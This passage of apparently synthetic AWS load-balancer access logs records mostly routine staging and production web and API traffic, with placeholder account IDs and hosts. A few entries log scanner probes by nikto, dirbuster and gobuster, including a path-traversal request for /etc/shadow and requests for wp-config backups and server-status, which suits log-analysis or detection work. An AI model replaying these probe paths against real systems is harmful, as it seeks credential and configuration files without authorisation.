2024-11-01T02:15:28.508036Z "forward" "-" "-" "19.87.60.231:443" "200" "-" "-" +https 2024-11-01T02:15:29.881584Z staging-alb 113.116.147.217:28535 25.77.71.71:8080 0.041728 0.108302 0.128540 200 200 952 6959 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d751-2973fd95e9e24e54b3bc4253" "staging-alb.example.com" "-" 6 2024-11-01T02:15:29.881584Z "forward" "-" "-" "25.77.71.71:8080" "200" "-" "-" +https 2024-11-01T02:15:30.786866Z prod-web-alb 149.29.56.19:10984 10.0.226.123:443 0.047586 0.091152 0.038620 404 404 6 5172 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d752-98950f0000d7467d8b3fd010" "prod-web-alb.example.com" "-" 8 2024-11-01T02:15:30.786866Z "forward" "-" "-" "10.0.226.123:443" "404" "-" "-" +https 2024-11-01T02:15:31.254466Z prod-web-alb 64.212.30.219:42294 10.0.2.232:443 0.040472 0.112465 0.033672 200 200 260 14918 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d753-1fe8694932854704be1be274" "prod-web-alb.example.com" "-" 1 2024-11-01T02:15:31.254466Z "forward" "-" "-" "10.0.2.232:443" "200" "-" "-" +https 2024-11-01T02:15:31.369818Z prod-api-alb 190.221.217.158:53920 10.0.78.87:443 0.084114 0.140124 0.016410 404 404 115 5598 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d753-6882b475581c4c7cbc835f2e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:15:31.369818Z "forward" "-" "-" "10.0.78.87:443" "404" "-" "-" +https 2024-11-01T02:15:32.108828Z prod-api-alb 190.123.61.95:54653 10.0.189.227:443 0.040740 0.211748 0.065543 200 200 748 6862 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d754-89e53abb8abf40d0aa905d8c" "prod-api-alb.example.com" "-" 2 2024-11-01T02:15:32.108828Z "forward" "-" "-" "10.0.189.227:443" "200" "-" "-" +https 2024-11-01T02:15:32.827861Z prod-api-alb 102.96.88.147:50710 10.0.249.171:443 0.027793 0.379483 0.029921 200 200 319 3761 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d754-11df4dadc128453a8fc3828a" "prod-api-alb.example.com" "-" 7 2024-11-01T02:15:32.827861Z "forward" "-" "-" "10.0.249.171:443" "200" "-" "-" +https 2024-11-01T02:15:34.485632Z prod-web-alb 138.207.160.218:31400 10.0.149.146:443 0.059996 0.495110 0.061108 200 200 711 7129 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d756-40e30f8f8e2445c58cbe2c48" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:34.485632Z "forward" "-" "-" "10.0.149.146:443" "200" "-" "-" +https 2024-11-01T02:15:35.995129Z prod-api-alb 87.186.34.164:33116 10.0.202.114:443 0.046299 0.355694 0.041500 301 301 834 11030 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d757-180ab11b1ecc45608232d700" "prod-api-alb.example.com" "-" 4 2024-11-01T02:15:35.995129Z "forward" "-" "-" "10.0.202.114:443" "301" "-" "-" +https 2024-11-01T02:15:37.209003Z staging-alb 85.41.6.198:48811 101.235.69.67:8080 0.014384 0.401622 0.148377 200 200 452 6376 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d759-3589b36f315744b5b99e1791" "staging-alb.example.com" "-" 6 2024-11-01T02:15:37.209003Z "forward" "-" "-" "101.235.69.67:8080" "200" "-" "-" +https 2024-11-01T02:15:38.789321Z prod-web-alb 155.171.187.158:55330 10.0.206.146:443 0.033785 0.266108 0.044956 404 404 538 8948 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d75a-f44a6de4e8334aeab1e226ff" "prod-web-alb.example.com" "-" 5 2024-11-01T02:15:38.789321Z "forward" "-" "-" "10.0.206.146:443" "404" "-" "-" +https 2024-11-01T02:15:39.437627Z prod-web-alb 24.221.29.221:62009 10.0.206.31:443 0.014096 0.081427 0.011902 200 200 233 3779 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d75b-d6db654bc3354571935f0941" "prod-web-alb.example.com" "-" 3 2024-11-01T02:15:39.437627Z "forward" "-" "-" "10.0.206.31:443" "200" "-" "-" +http 2024-11-01T02:15:40.892079Z staging-alb 118.254.28.21:57493 51.138.11.75:80 0.088887 0.565573 0.047940 200 200 638 6568 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d75c-9c620b29faae4f0293ed2fdc" "staging-alb.example.com" "-" 7 2024-11-01T02:15:40.892079Z "forward" "-" "-" "51.138.11.75:80" "200" "-" "-" +https 2024-11-01T02:15:42.587059Z prod-web-alb 106.42.95.244:44587 10.0.219.218:443 0.030747 0.013704 0.059706 200 200 646 9366 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d75e-cf505da1fd554466897568a7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:15:42.587059Z "forward" "-" "-" "10.0.219.218:443" "200" "-" "-" +https 2024-11-01T02:15:43.218865Z prod-web-alb 45.155.205.102:48440 10.0.107.194:443 0.077236 0.213841 0.076024 401 401 121 992 "GET /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d75f-140f21babd8449bfb0a5e516" "-" "-" 1 2024-11-01T02:15:43.218865Z "forward" "-" "-" "10.0.107.194:443" "401" "-" "-" +https 2024-11-01T02:15:44.518998Z prod-web-alb 159.198.121.204:32442 10.0.174.205:443 0.047125 0.321214 0.040414 404 404 499 4123 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d760-1d8934a5771a4232a010f053" "prod-web-alb.example.com" "-" 7 2024-11-01T02:15:44.518998Z "forward" "-" "-" "10.0.174.205:443" "404" "-" "-" +https 2024-11-01T02:15:44.690377Z prod-web-alb 45.155.205.10:61692 10.0.212.80:443 0.084389 0.062431 0.011940 403 403 932 590 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d760-12a2c8cde2584ec59573a995" "-" "-" 1 2024-11-01T02:15:44.690377Z "forward" "-" "-" "10.0.212.80:443" "403" "-" "-" +https 2024-11-01T02:15:46.488049Z prod-api-alb 48.82.110.66:37360 10.0.246.86:443 0.097157 0.137841 0.043434 200 200 303 12337 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d762-23423a460c634878ae72f625" "prod-api-alb.example.com" "-" 8 2024-11-01T02:15:46.488049Z "forward" "-" "-" "10.0.246.86:443" "200" "-" "-" +http 2024-11-01T02:15:48.007642Z staging-alb 178.81.229.1:23459 212.51.211.185:443 0.074799 0.119742 0.090767 200 200 702 12393 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d764-67e60225e29c4fba93a74e6f" "staging-alb.example.com" "-" 10 2024-11-01T02:15:48.007642Z "forward" "-" "-" "212.51.211.185:443" "200" "-" "-" +https 2024-11-01T02:15:49.170772Z prod-api-alb 52.227.179.111:62200 10.0.72.55:443 0.002432 0.093816 0.084225 302 302 97 3208 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d765-bb7604b107fb469a8246c4e5" "prod-api-alb.example.com" "-" 5 2024-11-01T02:15:49.170772Z "forward" "-" "-" "10.0.72.55:443" "302" "-" "-" +https 2024-11-01T02:15:49.589773Z prod-web-alb 128.222.234.22:59106 10.0.222.34:443 0.096304 0.213701 0.061263 200 200 648 7422 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d765-cedceb78125b481b90a36b80" "prod-web-alb.example.com" "-" 7 2024-11-01T02:15:49.589773Z "forward" "-" "-" "10.0.222.34:443" "200" "-" "-" +http 2024-11-01T02:15:50.304903Z staging-alb 95.11.83.217:20167 88.207.84.236:443 0.118288 0.365851 0.011602 301 301 521 12268 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d766-4eb2272823514b71b74c541c" "staging-alb.example.com" "-" 8 2024-11-01T02:15:50.304903Z "forward" "-" "-" "88.207.84.236:443" "301" "-" "-" +https 2024-11-01T02:15:50.512116Z prod-api-alb 231.36.5.161:23071 10.0.83.240:443 0.046612 0.435701 0.019301 301 301 910 3149 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d766-83abc2bcbeee4899b233af4f" "prod-api-alb.example.com" "-" 8 2024-11-01T02:15:50.512116Z "forward" "-" "-" "10.0.83.240:443" "301" "-" "-" +https 2024-11-01T02:15:51.862272Z prod-api-alb 122.31.78.236:25575 10.0.85.222:443 0.063119 0.179684 0.083030 200 200 732 6331 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d767-31087c8652a040178a765027" "prod-api-alb.example.com" "-" 0 2024-11-01T02:15:51.862272Z "forward" "-" "-" "10.0.85.222:443" "200" "-" "-" +http 2024-11-01T02:15:52.212134Z staging-alb 242.76.79.109:37887 94.4.112.189:8080 0.054695 0.425497 0.028692 302 302 516 4709 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d768-60b84ce23f9a420d8a074c89" "staging-alb.example.com" "-" 7 2024-11-01T02:15:52.212134Z "forward" "-" "-" "94.4.112.189:8080" "302" "-" "-" +https 2024-11-01T02:15:53.114464Z prod-web-alb 109.132.144.23:36994 10.0.128.113:443 0.029800 0.129098 0.054884 200 200 421 14907 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d769-d91d68a9db3a4f06b572e19f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:15:53.114464Z "forward" "-" "-" "10.0.128.113:443" "200" "-" "-" +https 2024-11-01T02:15:54.227484Z prod-api-alb 211.238.109.111:26185 10.0.239.77:443 0.032370 0.433188 0.063177 404 404 994 862 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d76a-f7ad17710b3c4468b7f3f880" "prod-api-alb.example.com" "-" 7 2024-11-01T02:15:54.227484Z "forward" "-" "-" "10.0.239.77:443" "404" "-" "-" +https 2024-11-01T02:15:55.509329Z prod-web-alb 73.68.244.99:63187 10.0.219.76:443 0.025145 0.328259 0.009558 200 200 525 13025 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d76b-fc541bbfaaa3433c8b3de5e2" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:55.509329Z "forward" "-" "-" "10.0.219.76:443" "200" "-" "-" +https 2024-11-01T02:15:55.997858Z staging-alb 250.116.137.203:53897 35.252.249.108:8080 0.147940 0.238154 0.086376 404 404 749 11576 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d76b-122fb98fecb245deb5003ad2" "staging-alb.example.com" "-" 5 2024-11-01T02:15:55.997858Z "forward" "-" "-" "35.252.249.108:8080" "404" "-" "-" +https 2024-11-01T02:15:57.627718Z prod-web-alb 206.10.75.100:33400 10.0.11.131:443 0.086349 0.400651 0.074474 200 200 301 11797 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d76d-c200a62c0e2149c3a13a1639" "prod-web-alb.example.com" "-" 10 2024-11-01T02:15:57.627718Z "forward" "-" "-" "10.0.11.131:443" "200" "-" "-" +http 2024-11-01T02:15:59.008985Z staging-alb 248.66.148.206:29186 217.121.248.19:443 0.075079 0.584145 0.007474 302 302 318 5784 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d76f-62ef28125c5e48e799521bef" "staging-alb.example.com" "-" 5 2024-11-01T02:15:59.008985Z "forward" "-" "-" "217.121.248.19:443" "302" "-" "-" +https 2024-11-01T02:16:00.838963Z prod-web-alb 151.112.32.58:20253 10.0.177.192:443 0.055348 0.102138 0.080277 301 301 765 11062 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d770-f1237ce796804eacbf5d3a9e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:16:00.838963Z "forward" "-" "-" "10.0.177.192:443" "301" "-" "-" +https 2024-11-01T02:16:01.191476Z prod-web-alb 193.183.40.118:18745 10.0.29.9:443 0.036306 0.287660 0.063233 200 200 107 395 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d771-4788570c9814408d9e2bf6b5" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:01.191476Z "forward" "-" "-" "10.0.29.9:443" "200" "-" "-" +https 2024-11-01T02:16:01.927561Z prod-web-alb 75.171.14.241:39886 10.0.248.90:443 0.003120 0.050524 0.053982 302 302 607 4520 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d771-460eb6d21b3e4f2a88cf43f4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:16:01.927561Z "forward" "-" "-" "10.0.248.90:443" "302" "-" "-" +https 2024-11-01T02:16:02.919308Z prod-web-alb 45.155.205.185:29164 10.0.59.160:443 0.054520 0.266602 0.019813 404 404 763 4246 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d772-340a070cb55542b391627197" "-" "-" 3 2024-11-01T02:16:02.919308Z "forward" "-" "-" "10.0.59.160:443" "404" "-" "-" +http 2024-11-01T02:16:04.284336Z staging-alb 101.37.96.150:16566 110.104.221.106:8080 0.065617 0.094070 0.060064 200 200 554 13349 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d774-ae87a17faf99462aa89ca912" "staging-alb.example.com" "-" 9 2024-11-01T02:16:04.284336Z "forward" "-" "-" "110.104.221.106:8080" "200" "-" "-" +https 2024-11-01T02:16:04.455746Z staging-alb 54.241.62.21:31025 233.251.122.8:443 0.014303 0.541481 0.100270 404 404 757 8140 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d774-ef4e38c9fca8465f91de8b4e" "staging-alb.example.com" "-" 10 2024-11-01T02:16:04.455746Z "forward" "-" "-" "233.251.122.8:443" "404" "-" "-" +https 2024-11-01T02:16:05.503610Z staging-alb 167.166.43.199:41311 191.163.238.145:8080 0.145561 0.348520 0.133250 200 200 458 4131 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d775-6ac08593c9064659a1fe28d7" "staging-alb.example.com" "-" 4 2024-11-01T02:16:05.503610Z "forward" "-" "-" "191.163.238.145:8080" "200" "-" "-" +https 2024-11-01T02:16:06.068896Z staging-alb 5.250.56.158:30835 252.118.177.96:443 0.071228 0.686156 0.016368 301 301 652 13531 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d776-332957948c3a438a9d1546b8" "staging-alb.example.com" "-" 1 2024-11-01T02:16:06.068896Z "forward" "-" "-" "252.118.177.96:443" "301" "-" "-" +https 2024-11-01T02:16:06.673000Z prod-web-alb 84.120.221.124:62799 10.0.138.167:443 0.042152 0.304360 0.050395 404 404 633 9816 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d776-ee628b6b7b844981a7f13c38" "prod-web-alb.example.com" "-" 10 2024-11-01T02:16:06.673000Z "forward" "-" "-" "10.0.138.167:443" "404" "-" "-" +http 2024-11-01T02:16:07.798540Z staging-alb 208.33.190.154:51858 196.213.164.211:8080 0.011545 0.568299 0.011660 200 200 502 11917 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d777-63063a52d18647f7bb24a558" "staging-alb.example.com" "-" 7 2024-11-01T02:16:07.798540Z "forward" "-" "-" "196.213.164.211:8080" "200" "-" "-" +https 2024-11-01T02:16:09.717597Z prod-web-alb 16.111.48.146:55253 10.0.193.139:443 0.026578 0.467873 0.079567 404 404 813 6987 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d779-ae4b0781a5e2483f8d7c9c4d" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:09.717597Z "forward" "-" "-" "10.0.193.139:443" "404" "-" "-" +https 2024-11-01T02:16:10.993415Z prod-web-alb 200.153.129.47:31189 10.0.83.127:443 0.095314 0.176699 0.043774 200 200 807 3304 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d77a-77ae9a14546243cb8b12791f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:16:10.993415Z "forward" "-" "-" "10.0.83.127:443" "200" "-" "-" +https 2024-11-01T02:16:11.798078Z prod-web-alb 211.22.251.131:14538 10.0.146.127:443 0.045558 0.254226 0.093707 301 301 133 369 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d77b-227e3b4f99804d6fa1b9f29e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:16:11.798078Z "forward" "-" "-" "10.0.146.127:443" "301" "-" "-" +http 2024-11-01T02:16:13.763138Z staging-alb 193.27.228.126:62637 149.193.128.251:443 0.010813 0.506997 0.127605 500 500 187 3218 "POST /server-status HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d77d-ca2b2560fce5498a87346b6c" "-" "-" 2 2024-11-01T02:16:13.763138Z "forward" "-" "-" "149.193.128.251:443" "500" "-" "-" +https 2024-11-01T02:16:14.759544Z prod-web-alb 78.118.8.251:46972 10.0.194.112:443 0.052373 0.263670 0.057260 200 200 932 1094 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d77e-b50aef89d10a492f819f2d69" "prod-web-alb.example.com" "-" 3 2024-11-01T02:16:14.759544Z "forward" "-" "-" "10.0.194.112:443" "200" "-" "-" +https 2024-11-01T02:16:16.067748Z staging-alb 21.43.223.225:64668 154.254.217.31:443 0.000089 0.433943 0.108385 302 302 639 8450 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d780-789c17589d764435baa0f6d8" "staging-alb.example.com" "-" 1 2024-11-01T02:16:16.067748Z "forward" "-" "-" "154.254.217.31:443" "302" "-" "-" +https 2024-11-01T02:16:17.753451Z prod-web-alb 87.149.103.136:40949 10.0.92.66:443 0.077665 0.216263 0.076159 200 200 596 6422 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d781-2b2a0280c11e4b89b014a21b" "prod-web-alb.example.com" "-" 4 2024-11-01T02:16:17.753451Z "forward" "-" "-" "10.0.92.66:443" "200" "-" "-" +https 2024-11-01T02:16:19.363027Z prod-api-alb 127.231.119.132:61930 10.0.169.132:443 0.079870 0.425902 0.018715 200 200 622 14109 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d783-a4421147667a4cdd98fb8e66" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:19.363027Z "forward" "-" "-" "10.0.169.132:443" "200" "-" "-" +https 2024-11-01T02:16:19.526887Z prod-web-alb 62.177.158.10:21204 10.0.118.205:443 0.092577 0.253017 0.076184 200 200 564 4428 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS 